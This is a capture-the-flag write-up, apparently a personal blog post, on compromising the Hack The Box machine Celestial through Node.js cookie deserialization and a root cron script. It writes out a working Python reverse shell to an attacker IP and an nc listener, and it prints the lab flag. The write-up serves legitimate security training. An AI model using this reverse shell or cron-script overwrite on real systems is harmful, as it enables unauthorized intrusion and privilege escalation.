(Practicing on HTB for OSWE exam. After some quick search on Node.js boxes, I select this one and try to understand more about js coding).

Scanning

As usual, nmap on target first. Key information is shown below:

PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn’t have a title (text/html; charset=utf-8). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

The only open port is 3000 http nodejs framework, which is something I never worked on before. Before diving into it, I put a gobuster in the background as usual.

User

After some quick reading on https://www.tutorialspoint.com/nodejs/nodejs_express_framework.htm, I understand that Node.js express framework is just a nodejs based web server. I decide to try my luck on nikto. Also put it in the background. Manually visit the page, I see the following information: Emm interesting… If I go to 10.10.10.85:3000 directly, I see 404 error. If I go to 10.10.10.85/, I that I am redirected to the above-shown page. Use burp to check what is happening behind that. When I see the traffic sent to /, together with the packet, there is also a cookie:

eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

After base 64 decoding, it is:

{“username”:”Dummy”,”country”:”Idk Probably Somewhere Dumb”,”city”:”Lametown”,”num”:”2”fQ%3D%3D

So if I change the cookie information to some random things, I will see the error page displayed “Unexpected end of input”. This means that the server must be handling the cookie input. After further discovery, I can control the username output by changing the username entry in the input cookie. All these information remind me of a box called JSON, and some further researches lead me to the nodejs deserialization exploit. I try to avoid the box walkthrough posts, and the following one is a good resource to learn from: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ After following the above link and generate the shell code, I need to convert them to base64 (in burp) and pass to repeater. Then I start an nc listener on local port 4444. When I re-send the packet, the malicious code is executed and I get a reverse shell back. Good. Before continue to the next step, one interesting feature is that the malicious cookie payload does not necessarily contain the original entries, yet if I add the payload into the original cookie, it also works.

Root

First thing first, make a tty through python.

tty not a tty which python /usr/bin/python python -c ‘import pty; pty.spawn(“/bin/sh”)’ $ tty tty /dev/pts/17 $ whoami whoami sun $ uname -a uname -a Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $

We can see the server source code under /home/sun/server.js, which is almost the same as the one we saw in the above mentioned tutorial website. One interesting thing I found is that there is a output.txt under /home/sun, which contains “Script is running…” and there is a script.py under Documents folder that has the same content: print “Script is running”. After I delete the output.txt, it is generated again later with “root root” access. So I assume that the cronjob must be calling this python script with root regularly and write the output to output.txt. If that is the case, let’s just try to rewrite the python script. I echo the python reverse shell into this script.py as below:

print “Script is running…” import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((‘10.10.16.104’,5555)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call([‘/bin/sh’,’-i’])

Not surprisingly, I received a python reverse shell on port 5555 later with root access.

root@kali:~/htb/Celestial_85# nc -nlvp 5555 listening on [any] 5555 … connect to [10.10.16.104] from (UNKNOWN) [10.10.10.85] 34116 /bin/sh: 0: can’t access tty; job control turned off # dir root.txt script.py wh# oami root # cat root.txt ba1d0019200a54e370ca151007a8095a

Summary

As a short summary, the box is easy (compared with other medium boxes). Nodejs deserialization is an interesting topic. Understanding more about this topic would be pretty helpful in OSWE exam.